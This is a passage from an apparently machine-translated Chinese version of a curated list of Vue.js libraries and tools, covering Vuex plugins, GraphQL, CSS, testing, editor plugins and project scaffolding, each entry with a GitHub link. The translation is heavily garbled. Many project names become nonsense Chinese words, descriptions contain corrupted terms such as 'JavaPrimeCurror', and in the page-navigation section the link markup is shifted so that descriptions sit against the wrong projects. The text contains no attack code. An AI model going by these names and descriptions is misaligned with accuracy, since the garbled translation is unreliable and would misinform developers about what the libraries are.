- [vue-mobx](https://github.com/dwqs/vue-mobx)- 针对Vuejs 2.x的Mobx绑定.
#### 认证/授权
- [Vue幼儿园](https://github.com/JiriChara/vue-kindergarten)
- [Vue进行身份验证](https://github.com/dgrubelic/vue-authenticate)- 用于登录/注册和OAuth (1.0 / 2.0) 身份验证的简单Vue.js身份验证库
- [Vue-Facebook的帐户试剂盒](https://github.com/biessek/vue-facebook-account-kit)- fb帐户工具包库的简单vue包装器.
- [casl-vue](https://github.com/stalniy/casl/tree/master/packages/casl-vue)- 限制允许给定用户访问的资源
#### Vuex公用事业
- [vuex-persistedstate](https://github.com/robinvdvleuten/vuex-persistedstate)- 坚持Vuex州与localStorage.
- [vuex-插件,jsdata](https://github.com/AlexandreBonaventure/vuex-jsdata-plugin)- 用于将Vuex存储与js数据同步的插件.
- [vuex本地](https://github.com/ktsn/vuex-local)- Vuex内的本地州管理.
- [vuex行动](https://github.com/varHarrie/vuex-action)- vuex的实用程序可以轻松创建和管理操作.
- [vuex-REST的API](https://github.com/christianmalek/vuex-rest-api)- Helper实用程序,用于简化使用Vuex的REST API的使用. 基于axios.
- [vuex缓存](https://github.com/superwf/vuex-cache)- 一个Vuex插件实用程序,用于缓存那些将进行远程请求的操作.
- [vuex,坚持](https://github.com/championswimmer/vuex-persist)- 一个Typescript-ready Vuex插件,可帮助将商店保存到localStorage或任何自定义存储 (您可以配置) .
- [vuex本地状态](https://github.com/biluochun/vuex-localState)- 将"localState / sessionState"选项添加到vuex. 使用localStorage保持Vuex状态.
- [vuex-CLI-支架](https://github.com/ndabAP/vuex-cli-scaffold)- 脚手架vuex动作,突变,吸气剂和状态.
- [vuex动作重装](https://github.com/chlab/vuex-action-reload)- 一个vuex插件,可在满足条件时重新加载操作.
- [vuejs存储](https://github.com/maple3142/vuejs-storage)- 使用localStorage / sessionStorage的Vue.js和vuex插件到持久性数据.
- [vuex-orm](https://github.com/revolver-app/vuex-orm)- Vuex插件,用于启用对Vuex存储的对象关系映射访问.
- [vuex-异步模块](https://github.com/liqueflies/vuex-async-module)- 减少生成Vuex模块的异步样板代码. 与Vue 2.x兼容.
- [vuex-api](https://github.com/vouill/vuex-api)- 一个vuex插件,可以毫不费力地处理api调用.
- [vuex查询](https://github.com/whtsky/vuex-queries)- Vuex-Queries可帮助您在Vuex中编写查询功能
- [vuex,微服务](https://github.com/ndabAP/vuex-microservice)- 在专用位置定义微服务URL,并在Vuex操作中使用它们.
- [vuex的iframe同步](https://github.com/L-Chris/vuex-iframe-sync)- iframe / window之间的Vuex状态同步.
- [vuex纵横](https://gitlab.com/frissdiegurke/vuex-aspect)- 将任何类型的远程数据绑定到vuex存储.
- [Vuenut](https://lusaxweb.github.io/vuenut.org/)- 是一个更快,更流利的组件.
- [vuex地图字段](https://github.com/maoberlehner/vuex-map-fields)- 为表单字段启用双向数据绑定.
- [vuex搜索](https://github.com/AlbertLucianto/vuex-search)- 使用索引器和Web Workers进行客户端搜索的Vuex绑定.
- [vuex干](https://github.com/eunjae-lee/vuex-dry)- 帮助保持您的vuex代码干燥.
- [vuex-pathify](https://davestewart.github.io/vuex-pathify/#/)- 为Vuex商店提供统一的路径语法 (例如`foo/bar@a.b.c`)
###### 选项卡之间同步
- [vuex地下室](https://github.com/RashadSaleh/vuex-basement)- 选项卡/窗口之间的Vuex状态持久性和同步.
- [vuex共享突变](https://github.com/xanf/vuex-shared-mutations)- 在标签/窗口之间共享vuex突变.
### GraphQL
- [Vue阿波罗](https://github.com/Akryum/vue-apollo)- VueJS的Apollo / GraphQL集成.
- [Vue继电器](https://github.com/ntkme/vue-relay)- 构建GraphQL驱动的Vue.js应用程序的框架.
- [vuex-ORM阿波罗](https://github.com/vuex-orm/vuex-orm-apollo)- Vuex-ORM的Apollo / GraphQL集成.
### 并发管理
- [vuency](https://github.com/alidcastano/vuency)- Vue.js的并发管理
### 代码风格
*提高代码的可读性*
- [Vue类型](https://github.com/dwightjack/vue-types)- Vue Prop类型定义.
- [Vue工厂](https://github.com/ye-will/vue-factory)- Vue.js的简单工厂/提供程序扩展,如Angular中的服务.
- [eslint-插件,Vue](https://github.com/vuejs/eslint-plugin-vue)- Vue.js项目的Eslint插件.
- [Vue,装饰](https://github.com/partyka95/vue-decorators)- Vue.js (beta) 的装饰器.
- [Vue计算的,助手](https://github.com/michalsnik/vue-computed-helpers)- Vue.js应用程序的计算助手
- [vert](https://github.com/LancerComet/Vert-Core)- 用于在OOP中构建Vue应用程序的库.
### CSS
- [vue-bem-cn](https://github.com/c01nd01r/vue-bem-cn)- Vue.JS的简单BEM类名生成器.
- [Vue,CSS](https://github.com/NxtChg/pieces/tree/master/js/vue/vue-css)- Vue.js插件,允许您将CSS与组件捆绑在一起.
- [Vue-MODS-名](https://github.com/RGRU/vue-mods-names)- 为应用程序中的所有组件的类名添加修改器.
- [Vue - 斯泰勒](https://github.com/mrtone/vue-styler)- 简单,高效的vue风格.
- [Vue-CSS-模块](https://github.com/fjc0k/vue-css-modules)- 将类名无缝映射到Vue组件内的CSS模块.
### 资产管理
*用于构建/编译/捆绑/加载资产的实用程序*
- [vue-script2](https://github.com/taoeffect/vue-script2)- 单页应用程序的标准化,设计师友好的脚本标记行为.
- [Vue装载机](https://github.com/vuejs/vue-loader)- 用于Vue.js组件的Webpack加载程序.
- [vueify](https://github.com/vuejs/vueify)- 针对单文件Vue组件的Browserify转换.
- [Vue编译](https://github.com/paulpflug/vue-compiler)- 围绕vue-component-compiler的简单cli包装器.
- [Vue早午餐](https://github.com/nblackburn/vue-brunch)- 增加对Brunch的支持,以预编译单个文件Vue组件.
- [poi](https://github.com/egoist/poi)- 开始使用单个.js文件编写应用程序,Poi可以为您处理所有开发设置,不再配置地狱.
- [HTTP-Vue装载机](https://github.com/FranckFreiburger/http-vue-loader)- 直接从html / js加载.vue文件,不带node.js环境,也不构建步骤.
- [Vue-JSX热装载机](https://github.com/skyrpex/vue-jsx-hot-loader)- 使用JSX渲染功能为Vue.js组件启用HMR.
- [VueInBrowserLoader](https://github.com/SeregPie/VueInBrowserLoader)- 从给定的URL加载.vue文件,并直接在浏览器中将其编译为组件.
- [Vue - 独立 - 文件 - 的WebPack装载机](https://github.com/NetCZ/vue-separate-files-webpack-loader)- 用于分离Vue组件的Webpack加载器
### 页面导航
- [Vue导航](https://github.com/zack24q/vue-navigation)- 页面导航库,记录路径和缓存页面,如本机应用程序导航. 一个页面导航库,记录路由并缓存页面,像原生APP导航一样. Vue的ACL
- [- VueJS 2的访问控制列表. ](https://github.com/leonardovilarinho/vue-acl)Vue,面包屑
- [- 为Vue 1.x和Vue 2.x实现vue-router的简单面包屑功能. ](https://github.com/samturrell/vue-breadcrumbs)Vue -2-面包屑
- [- 与Vue 2.x的vue-router一起使用breadcrumb. ](https://github.com/GitScrum/vue-2-breadcrumbs)和Bootstrap 4VS-屑
- [- 使用40行代码的Vue面包屑,允许嵌套路径没有子视图. ](https://github.com/NxtChg/pieces/tree/master/js/vue/vs-crumbs)Vue-NAV
- [- 页面导航管理器,支持本机移动应用程序的所有导航功能. ](https://github.com/nearspears/vue-nav)页面导航管理器,支持手机原生应用的所有导航功能. Vue -2-屑
- [- Vue.js 2框架的Breadcrumbs插件,允许在路由元对象中选择父路由而不需要子路由. ](https://github.com/Suruat/vue-2-crumbs)还允许使用动态数据.
- [vue-pesdk](https://github.com/imgly/pesdk-wrapper-vuejs)Vue.js PhotoEditorSDK的包装器
### 杂
- [Vue容器](https://github.com/dealloc/vuec)- Vue 2的简单依赖注入库.
- [Vue超级](https://github.com/rpkilby/vue-super)-一个简单的插件,用于调用父组件的方法.
- [@ SkyrpEX/道具到本地](https://github.com/skyrpex/props-to-local)VU-MIXIN将道具映射到本地数据.
- [VIE注入](https://github.com/jpex-js/vue-inject)Vue 2 x组件的依赖注入
- [Vue深度集](https://github.com/bhoriuchi/vue-deepset)-在Vue 1ㄡx和2 x中用V模型与Vue/VueX对象/状态中的深嵌套字段进行交互.
- [瓦斯帕德](https://github.com/lucaperret/vue-gaspard)-用于Vue JS的DOM助手插件
- [Vue配置](https://github.com/alex-oleshkevich/vue-config)VU.JS的静态配置对象
- [沃伊旅馆](https://github.com/Ewocker/vue-lodash)-一个简单的包装器,用于整合LuaSuto Vue 2.
- [梦蝶](https://github.com/choufeng/vue-ramda)Vue包装器[拉姆达](http://ramdajs.com/)
- [Vue路由器用户角色](https://github.com/anthonygore/vue-router-user-roles)-保护基于用户角色的路由. 添加您自己的身份验证.
- [Vue信使](https://github.com/fjc0k/vue-messenger)-对Vue组件道具的一系列有用的改进: 转换ㄡ枚举类型ㄡ数值类型ㄡ双向数据绑定.
- [VUU-UUID-V4](https://github.com/estudioliver/vue-uuid.git)-插件Vue2容易获得UUIDV4
- [Vue异步操作](https://github.com/devstark-com/vue-async-operations)-管理Vue组件中的异步操作状态
### 网络工作者
- [Vue工人](https://github.com/israelss/vue-worker)一个VueJS插件,以简单的方式使用WebWork.
### JSX
- [JSX Vue函数](https://github.com/nickmessing/babel-plugin-jsx-vue-functional)-一种为Vue功能组件带来句法糖的巴别塔插件.
- [JSX事件修饰符](https://github.com/nickmessing/babel-plugin-jsx-event-modifiers)-一个BabelPu插件,它将类似于Vue模板的事件修改器添加到JSX中.
- [JSX-V模型](https://github.com/nickmessing/babel-plugin-jsx-v-model)-一个带来的巴别塔插件`v-model`到JSX.
- [VSU JSX同步](https://github.com/njleonzhang/babel-plugin-vue-jsx-sync)一个带来Vue的巴别塔插件`sync modifier`到JSX.
### 迁移
- [虚拟骨干网](https://github.com/mikeapr4/vue-backbone)- Vue.js Plugin促进骨干集成.
### 双向信息传输
- [VIU-SOCKI.IO](https://github.com/MetinSeylan/Vue-Socket.io)用于VueJS的SoCKI.IO实现.
- [Vue网络套接字](https://github.com/icebob/vue-websocket)-简单的WebSocket (Socket .IO) 插件,用于vu.js.
- [Vue回波](https://github.com/happyDemon/vue-echo)-将LARAVER回波集成到Vue中,允许轻松注册套接字事件.
- [Vue套接字簇](https://github.com/nigeltiany/vue-socket-cluster)通过套接字集群实现UWS (微网套接字) Vue的Web套接字
- [Vue本地WebSo插座](https://github.com/nathantsoi/vue-native-websocket)VueJS 2和Vuex的本地WebSoT实现
- [扩展的](https://github.com/probil/vue-socket.io-extended)Vu.js和Vuex的SoCKI.IO绑定
### 付款
支付效用.
###### 条纹
- [Vue条纹检验](https://github.com/jofftiquez/vue-stripe-checkout)一个简单的Vue插件用于条纹检测.
- [Vue条纹付款](https://github.com/samturrell/vue-stripe-payment)JQueY.Vue包装.
###### 格子花呢
- [格子链接](https://github.com/roundupapp/vue-plaid-link)易于使用的Vue组件的格子链接.
## 积分
*与服务或其他框架集成*
- [Vue DISQUS](https://github.com/ktquez/vue-disqus)Vue组件在应用程序中集成DISQUS注释,并支持SPA.
- [Youtube嵌入Vue](https://github.com/kaorun343/vue-youtube-embed)- Vue JS和YouTube.
- [添加到日历中](https://github.com/nicolasbeauvais/vue-add-to-calendar)一个提供"添加到日历"功能的Vue.JS组件,与Vue 2 .x一起工作.
- [VU+流星](https://github.com/Akryum/vue-meteor)Vue一流的集成在流星.
- [房室传导阻滞](https://github.com/HerringtonDarkholme/av-ts)-一种现代的ㄡ类型安全的ㄡ习惯性的Vue绑定库.
- [中子](https://github.com/NeutroniumCore/Neutronium)使用HTMLㄡCSS和JavaScript构建.NET桌面应用程序.
- [Vue打字笑话](https://github.com/locoslab/vue-typescript-jest)JavaPrimeCurror. JS用于Vue.JS组件 (支持HTMLㄡPUG和BAPEL) 和TypeScript.
- [Vue笑话](https://github.com/locoslab/vue-jest-utils)-使用JEST测试Vue.JS组件的实用工具.
- [Vue自定义元素](https://github.com/karol-f/vue-custom-element)- Vue自定义元素-用于Vue.JS的自定义元素.
- [科尔多瓦](https://github.com/kartsims/vue-cordova)-科尔多瓦的Vue.JS插件.
- [VU-WAMP](https://github.com/lajosbencz/vue-wamp)AutoHaNJS包装库vu.js.
- [快递Vue](https://github.com/danmademe/express-vue)Vue渲染引擎. 使用RES.Reund () 将Vue文件作为模板使用.
- [格雷普查查](https://github.com/drozdzynski/vue-grecaptcha)谷歌VueJS 2的ReCAPTCHA
- [虚拟检索](https://github.com/DanSnow/vue-recaptcha)谷歌VC.JS的ReCAPTCHA组件
- [需要VueJS](https://github.com/edgardleal/require-vuejs)- RequireJS插件到异步和动态加载和解析.Vue组件.
- [脸谱网登录vuujs](https://github.com/iliran11/facebook-login-vue.git)Vue组件用于验证您的脸谱网应用程序并获得脸谱网登录的好处.
- [Vuejs/VueFi火](https://github.com/vuejs/vuefire)VueJS的官方火控系统集成
- [武火](https://github.com/nigeltiany/vuefire)- VueJS和Vuex的Firebase
- [Vue RunKIT](https://github.com/maple3142/vue-runkit)RunKIT嵌入Vue JS
- [Vue YouTube](https://github.com/anteriovieira/vue-youtube)-为你提供一个简单的图层,让你在想象中使用你的想象力. [YouTube iFrAMP播放器API](https://developers.google.com/youtube/iframe_api_reference). (与SSR兼容)
- [视觉渗透](https://github.com/alex-oleshkevich/vue-introjs)-集成In.js分步指南和Vu.js的特征介绍[HTTP//ILNJS.COM/](http://introjs.com/).
- [Vue回送](https://github.com/InCuca/vue-loopback)-回环和Vue应用模板
- [万岁](https://github.com/samturrell/vue-laroute)-使用LououTe将LARAVER路由集成到您的VueJS应用程序中.
- [乌鸦](https://github.com/anteriovieira/vue-raven)-自动报告由Vue组件触发的JavaScript异常.
- [VE电报登录](https://github.com/vchaptsev/vue-telegram-login)Vue组件[电报登录](https://core.telegram.org/widgets/login)通过[韦帕切夫](https://github.com/vchaptsev/)
- [VuExcel](https://github.com/vuexpress/vuexpress)vEx+Exv.js= vuExpExt/Server端渲染引擎,用于Exp.js. 使用.Vue文件作为您的Exp.js模板.
- [Vue固定器](https://github.com/eperedo/vue-fixer)-一个简单的Vue组件[固定器API](https://fixer.io).
- [亚马逊认知模块](https://github.com/Botre/amazon-cognito-vuex-module)-亚马逊认知Vuex模块.
- [vue-web3](https://github.com/morrislaptop/vue-web3)Vue.js的Web3链链绑定 (受Vuefire和毛毛雨的启发)
- [丁苯橡胶](https://github.com/GIVESocialMovement/sbt-vuefy)- Prof框架的Vue.JS集成
- [环回Vue启动器](https://github.com/ivandov/loopback-vue-starter)-回环和Vue启动模板,易于插件管理`vue-cli`和`vue ui`.
- [VY](https://stefanhoelzl.github.io/vue.py/)在Python中编写vu.js组件
- [VE电报护照](https://github.com/vchaptsev/vue-telegram-passport)Vue组件[电报护照](https://telegram.org/blog/passport)通过[韦帕切夫](https://github.com/vchaptsev/)
###### 谷歌分析
- [VUA UA](https://github.com/ScreamZ/vue-analytics)谷歌通用分析支持在Vue.js.
- [Vue分析](https://github.com/MatteoGabriele/vue-analytics)谷歌分析的Vue插件.
- [Vue GTM](https://github.com/mib200/vue-gtm)谷歌标签管理器的Vue插件
###### 扬迪克斯米特里卡
- [三叶草](https://github.com/shershen08/vue-ya-metrica)Vue插件
- [伊迪克斯-梅特里卡](https://github.com/vchaptsev/vue-yandex-metrika)VYE插件,用于YANDEX METICKA路由器集成,插件选项[韦帕切夫](https://github.com/vchaptsev/)
## 叫研发工具组
- [Vue DEV服务器](https://github.com/paulpflug/vue-dev-server)一个小型的开发服务器`vue`组件.
- [VuPACK.ORG](http://vuepack.org)-一个简单的页面,允许您选择Vue组件,并将它们作为一个简化的JS文件下载.
- [故事书](https://storybook.js.org)- UI开发环境. 与V3.2+一起工作.
- [字体探险者](https://chrome.google.com/webstore/detail/font-awesome-icon-finder/kjejboahkcobalmgldloeinebmbomgog)-铬扩展搜索,预览和选择字体可怕图标,并复制选定的图标HTML代码和Unicode到剪贴板.
- [虚拟假人](https://github.com/paulcollett/vue-dummy)占位符文本和哑图像作为一个简单的`v-dummy`指令.
- [钻头](https://github.com/teambit/bit)管理与重用`vue`项目之间的组件. 轻松地将ans从任何项目中分离出来共享组件,而不需要修改其源代码ㄡ组织策划的集合,以及安装在不同的项目中.
- [沃努特](https://lusaxweb.github.io/vuenut.org/)是一个更快ㄡ更流畅的组件.
### 检查
*检查调试*
- [德语工具](https://github.com/vuejs/vue-devtools)Chrome DeVoSoT扩展程序用于调试Vue.JS应用程序.
- [德贾沃](https://github.com/MiCottOn/DejaVue)-为Vue.JS构建的可视化和调试工具.
- [Vue CLICKY](https://github.com/Herteby/vue-clicky)-右键单击任何组件以显示控制台中的信息.
- [沃伊斯伐木机](https://github.com/justinkames/vuejs-logger)-为Vue.JS提供可定制的日志记录功能.
- [布格纳格Vue](https://github.com/bugsnag/bugsnag-vue)-官方Vue.JS插件[布格纳格](https://www.bugsnag.com/)错误报告
- [视觉检查员](https://github.com/calirojas506/vue-inspector)- Vue.js移动设备检查员
- [Vue性能工具](https://github.com/vue-perf-devtool/vue-perf-devtool)Vue性能DEVooT是用于检查Vue组件性能的浏览器扩展
- [维索里](https://github.com/davestewart/vue-source)Global Vue MIXIN,通过添加HTML注释来标识源代码中的组件
### 文档
*创建文档*
- [Vue标记装载机](https://github.com/QingWei-Li/vue-markdown-loader)-将标记文件转换为Vue组件.
- [虚拟游戏](https://github.com/vue-play/vue-play)-演示Vue组件的简约框架.
- [Vue样式指南生成器](https://github.com/shershen08/vue-styleguide-generator)-为Vue JS的反应启发风格指南生成器.
- [保险单](https://vuejs-tips.github.io/cheatsheet)-完全交互式API.
- [普罗多克](https://github.com/propellant/doctor)-提供Vue.JS组件/道具的简单文档的单个组件.
- [维克斯纸片](https://vuejs-tips.github.io/vuex-cheatsheet)-完整的交互式VueX API.
- [Vue风格指南](https://github.com/vue-styleguidist/vue-styleguidist)-一个风格指南生成器的Vue组件与生活方式指南.
- [Vue阐明](https://github.com/mattrothenberg/vue-elucidate)-为您的生活指南/设计系统生成漂亮文档的组件.
- [VE装载机](https://github.com/wxsms/vue-md-loader)-将文件标记为生存Vue组件.
- [@ VUDEOC/解析器](https://github.com/vuedoc/parser)-为Vue文件组件生成JSON文档.
- [@ VUDEOC/MD](https://github.com/vuedoc/md)-生成Vue文件的标记文档.
- [JSDoc Vue组件](https://github.com/ccqgithub/jsdoc-vue-component)一个JSODC3插件,用于提取Vue SFC信息 (名称ㄡ道具ㄡ事件ⅆ) 以进行文档化.
- [JSDOC VUDEDOC](https://github.com/ccqgithub/jsdoc-vuedoc)一个JSDOC3插件使用`@vuedoc/md`.
- [Vue故事书](https://github.com/mattrothenberg/vue-storybook)-添加`<story>`块到您的Vue单文件组件以更紧密地集成Vue+[故事书](https://github.com/storybooks/storybook)
- [Vue模式](https://github.com/learn-vuejs/vue-patterns)有用的Vue模式ㄡ技巧ㄡ技巧和技巧以及有用的链接.
### 试验
- [阿沃利亚兹](https://github.com/eddyerburgh/avoriaz)-一个Vue.JS测试实用程序库.
- [Vue容器](https://github.com/dealloc/vuec)-用于Vue 2的简单依赖注入库.
- [沃尼特](https://github.com/jackmellis/vuenit)-用于测试Vue组件和指令的实用工具.
- [Vue单元](https://github.com/wrseward/vue-unit)一个用于Vue.JS的库,它可以更容易地创建和单元测试组件.
- [vue-a2b](https://github.com/fromAtoB/vue-a2b)一个用Vue JS进行分裂测试的库. 高度可配置和微小 (1.2K gZip) .
- [Vue测试用例](https://github.com/vuejs/vue-test-utils)-用于测试Vue组件的官方工具.
- [Vue测试动作](https://github.com/biigpongsatorn/vue-test-actions)-用嘲讽模仿测试VueX动作.
###### 无需浏览器
*无浏览器加载Vue组件*
- [影迷](https://github.com/iatsiuk/vuegister)- Vuegister (Vue和RealStand的PuthMango) 是一个需要加载钩子的Vue.JS单文件组件 (或.Vue文件) .
- [Vue节点](https://github.com/knpwrs/vue-node)在节点中加载Vue组件.
### 源代码编辑
*文本编辑器插件*
#### 原子
- [语言Vue@ AIM.IO](https://github.com/hedefalk/atom-vue)-原子的Vue组件文件语法.
- [语言Vue-Engult:Auth.IO](https://github.com/CYBAI/language-vue-component)-在Atom中添加语法突出显示到Vue组件文件.
- [Vue-AutoRealE\`Auth.IO](https://github.com/ealves-pt/atom-vue-autocomplete)- Vue.JS 1 +原子自动完成.
- [VuE-SnpPES@ Auth.IO](https://github.com/ealves-pt/atom-vue-snippets)用于Vue组件文件的原子片段.
- [VU-AutoCuliel.Auth.IO](https://github.com/paulpflug/vue-autocompile)-在保存时自动编译Vue文件.
- [LYT-SAAS-Vue@ AIM.IO](https://github.com/fsblemos/lint-sass-vue)- Atom.io软件包`.vue`文件夹.
- [VueJS2-SNIPPESS\\ AIM.IO](https://github.com/CorentinAndre/Vuejs-snippets)-用于javascript和组件的原子片段,包括生命周期钩子ㄡ指令ㄡ属性ㄡvuexㄡvue-routerㄡvue-i18n支持.
- [Vue2-AutoRealEng.Io.IO](https://github.com/ealves-pt/atom-vue2-autocomplete)- Vue.JS 2 +原子自动完成.
#### 崇高文本
- [Vue语法高亮显示](https://github.com/vuejs/vue-syntax-highlight)-针对单个文件Vue组件的崇高文本语法高亮显示.
- [VueFrimter](https://github.com/baixuexiyang/VueFormatter)-崇高的文本代码格式
- [Vuejs崇高完成](https://github.com/BrainBuzzer/vuejs-sublime-complete)-崇高的文本代码完成
- [下一个格式化程序](https://github.com/luozhihua/sublime-vue-formatter)-崇高文本Vue格式化程序,支持ES5/ 6/7,更少/sASS和PUG/HTML模板.
#### Vim
- [维姆Vue](https://github.com/posva/vim-vue)Vue.JS组件的语法高亮显示.
#### VisualStudio代码
- [维特尔](https://github.com/octref/vetur)- VSCode的Vue工具.
#### 可视演播室
- [沃帕克](https://github.com/madskristensen/VuePack)-包含Vue.js JavaScript库的HTML智能信息和代码片段.
#### 括号
- [括号Vue](https://github.com/pandao/brackets-vue)为Vue.JS的括号扩展.
#### 英特利
- [VueJS插件](https://github.com/postalservice14/vuejs-plugin)-为UneliJ平台 (WebSurvivin,RuffyMin,iTeliji等) 提供的Vue.JS特性.
- [WebStorm支持Vue.JS](https://github.com/JetBrains/intellij-plugins/tree/master/vuejs),因特利希想法,PHP暴,PyStand和RuMyNinℴℴJUTHEEL支持的官方Vue.JS支持
#### Emacs
- [Vue模式](https://github.com/CodeFalling/vue-mode)EMACS的主要模式为Vue JS.
#### 凯特
- [Kate Syntax档案](https://github.com/mtorromeo/kate-syntax-files)- KATEPATH (KATEㄡKScriptㄡKDebug) 的语法文件 (修改或原件) .
## 脚手架
*脚手架/样板/种子/起动器组件/堆栈集成/约曼发生器*
- [Vue CLI](https://github.com/vuejs/vue-cli)-简单的CLI用于脚手架vu.js项目.
- [乌干达乔](https://github.com/NdagiStanley/vue-django)这是一个样板,让你在Vujs的一个Django (Python) 应用程序中表现出非凡的魅力.
- [巨蟒](https://github.com/cstrap/python-vuejs)-用一组脚本粘贴Python Web框架和Vue.js. 基本上是`vue-cli`包装器.
- [发电机Vue插件](https://github.com/jeneser/generator-vue-plugin)YOMAN生成器生成Vue插件.
- [Vue种子](https://github.com/dulin666/vue-seed)- Vue种子是那些想要起床和运行Vue的种子的最小种子.
- [诺克斯种子](https://github.com/dulin666/nuxt-seed)Nuxt种子对于那些想和Vue和Nuxt一起运行的人来说是最小的种子.
- [铁硼熔体](https://github.com/midnightSuyama/rails_vue_melt)Rails视图使用WebPACK= Vue优化器.
- [Vue启动器](https://github.com/rohitkrai03/vue-starter)一个Vue.JS初学者工具包,让您专注于更多的编程和更少的配置.
- [Vue独立组件](https://github.com/InCuca/vue-standalone-component)使用JSDoc和Vue样式指南的文档支持的独立组件生成器
- [Vujs WordPress主题启动器](https://github.com/EvanAgee/vuejs-wordpress-theme-starter)一个WordPress的主题,用Vue替换了GUTS
- [科尔多瓦](https://github.com/TheMushrr00m/cordovue)-使用Vue的Apache CordoVA应用程序示例.
- [烤肉炉](https://github.com/vchaptsev/cookiecutter-django-vue)- Django+Vuejs+DOCKER可定制的项目生成器,具有大量的设置/集成[韦帕切夫](https://github.com/vchaptsev/)
- **[伊比乌](https://github.com/bobiscool/iBiu)**一个视觉CLI,用于在2秒内支撑大型Vue项目.
- [WP Vue](https://github.com/alexmacarthur/wp-vue)-一个简单的Vue博客模板,它显示从WordPress REST API端点发布的帖子.
- [VIE CLI模板NATScript](https://github.com/julon/vue-cli-template-nativescript)用Roop+Babel+ EsLink启动新的NATScript + Vue项目的模板
- [Vue元素UI支架](https://scaffoldhub.io/vue-sample)在线和视觉Vue 2与元素UI CRUD脚手架/生成器.
- [VIE FielBasic元素UI支架](https://scaffoldhub.io/vue-firebase)-联机可视化Vue 2ㄡElement-UI和Firebase支架/生成器,具有CRUDㄡ身份验证ㄡ文件/图像上传ㄡ活动日志等等.
- [Vue启动器](https://github.com/devCrossNet/vue-starter)与Vu.JS的同构ㄡ递进Web应用程序的企业准备样板
- [VueX VueX打印脚本WebPACK种子](https://github.com/IsraelZablianov/vue-vuex-typescript-webpack-seed)-具有热重加载的VueㄡVueXㄡType ScriptㄡSCSS和WebPACK的种子项目
- [增压模板](https://github.com/mrboomer/vuecharged-template)-一个高度固执己见的,第一个具有CLI支架的Vue 2模板. 使用Vue 2ㄡVueXㄡVue路由器和Vue I18N.
- [亨库沃特](https://github.com/zaiste/huncwot)-用NoDE.js构建Vu.JS样板,用于构建包含电池在内的现代JavaScript应用程序.
- [威马克Vue模板](https://github.com/wemake-services/wemake-vue-template)出血边缘Vue模板侧重于代码质量和开发者的幸福感. 特点: Nuxt,流,和笑话.
- [VIE库模板](https://github.com/biigpongsatorn/vue-lib-template)-一个简单的模板,用于构建和发布Vue组件/库作为开源.
### 顾客
*仅在浏览器中渲染Vue应用程序*
- [Vue插件样板](https://github.com/kazupon/vue-plugin-boilerplate)-用于Vu.JS插件的样板.
- [布根](https://github.com/rayfranco/bourgeon)- Bourgeon是一个固执己见的特色VueJS 2设置为Webpack.
- [沃帕克](https://github.com/egoist/vuepack)-使用Vue 2ㄡVueXㄡVue路由器和WebPACK 2 (甚至电子) 的现代启动器.
- [Vue沉降器](https://github.com/weavingbird/vue-settler)-固执己见的Vue 2 SPA启动器.
- [Vue构建](https://github.com/brianvoe/vue-build)-超简单,开发,测试和生产建设CLI.
- [Vue元件启动器](https://github.com/Metnew/vue-element-starter)-具有元素UI的健壮Vue 2启动器.
- [多页Vue](https://github.com/Plortinus/vue-multiple-pages)-使用Vue 2ㄡWebPACK2和元素UI的现代Vue.JS多页启动程序
- [Vue排版样板](https://github.com/twcapps/vue-typescript-boilerplate)Vue JS Type Script SPA启动器,具有Vue 2ㄡVue类型ㄡVuexㄡVue路由器和本地化
- [Vue TaCHYONS模板](https://github.com/colorful-tones/vue-tachyons-template)Vue 2项目启动模板W/TACCHYONSㄡWebpack和ELSLT
- [小音](https://github.com/AkiraLaine/Vuets)使用类风格组件ㄡVue插件选项ㄡWebPACK和Vue CLI的Vueㄡ排版准备样板.
- [MMF-FE/Vue打字稿](https://github.com/MMF-FE/vue-typescript)-一个Vue2.x类型的脚本模板.
- [友好Vue启动器](https://github.com/mcongy/friendly-vue-starter)-通过Apollo-client (Vuex,Vue-router,Vue-i18n,Webpack 3,Eslint,Prettier,ⅆ) 提供GraphQL支持的全功能Vue.js启动器项目
- [Vue WebPACK打字稿](https://github.com/ducksoupdev/vue-webpack-typescript)- Vue 2.2 WebPACK 2和TeaScript 2的安装,热重新加载,单元测试,代码覆盖,SAS和捆绑/缩小.
- [VE TS AMD](https://github.com/Micene09/vue-ts-amd)-使用AMD模式 (Realjs) 和Typescript的全功能Vue JS 2样板.
- [**Vue-2-Booel钢板**](https://github.com/petervmeijgaard/vue-2-boilerplate)Vue 2样板,用于开发中型到大型单页应用程序[彼得维梅加德](https://github.com/petervmeijgaard/)
- [布局](https://github.com/ktquez/layout)-一个完整的WebPAC+Vue扩展布局
- [布局简单](https://github.com/ktquez/layout-simple)-一个简单的WebPAC+Vue扩展布局
- [Vue CLI模板库](https://github.com/julon/vue-cli-template-library)-用Reloop+Jest+Babel+ StutyBoo+TravISC+语义发布开发开源Vu.js库.
- [VIE CLI模板GITHUB页面](https://github.com/julon/vue-cli-template-github-pages)-具有TravISCI的GITHUB页面部署的全功能WebPAC+Vue加载器设置.
- [WebPACK扩展模板](https://github.com/ALiangLiang/vue-webpack-chrome-extension-template)-在开发时快速创建Vujs热重载的Chrome扩展模板.
- [无建筑视觉](https://github.com/Botre/buildless-vue)-在没有构建步骤的情况下快速使用Vue.
- [Vue组件模板](https://github.com/IneoO/vue-component-template)WebPACK设置用于构建和发布Vue组件/库 (带有DOCS/Demo站点) .
### 通用的
*将Vue应用程序渲染到服务器上的HTML和浏览器中的DOM*
- [温泉启动工具包](https://github.com/codecasts/spa-starter-kit)-用Laravel和Vu.js构建单页应用程序的高度自信心的启动工具包.
- [SSR模板](https://github.com/fenivana/vue-ssr-boilerplate)- Vue JS服务器端渲染样板而不污染VueX.
- [中微子预置Vue静态](https://github.com/shyiko/neutrino-preset-vue-static)-使用Vue.JS构建静态站点的极简入门工具包.
- [维尼维尔](https://github.com/rlindskog/vueniverse)-基于NUXT.JS和Express提供的基于用户的应用程序的全功能通用Vue模板.
- [Vue预加载](https://github.com/shershen08/vue-preload)一个附加的Vue插件`<link rel="preload"`能力
### 服务器
*包括后端样板*
- [沃伊特伯](https://github.com/scottbedard/oc-vuetober-theme)与Laravel,Vue.JS和十月CMS的单页应用程序.
- [巨嘴鸟](https://github.com/mrellipse/toucan)用于构建单页应用程序的样板. 服务器是多项目.NET核心解决方案围绕固原理设计的. 客户端是排版2,VueJS 2,VueX 2.
- [Vue服务器演示](https://github.com/fritx/vue-server-demo)在Vue编写KOA服务器.
- [阿波罗连接器套件](https://github.com/ecerroni/apollo-connector-kit)JWT认证有2种不同的策略 (LoalStand和HTTPcookies) . 使用自定义指令 (Apple) 的授权.
### 电子
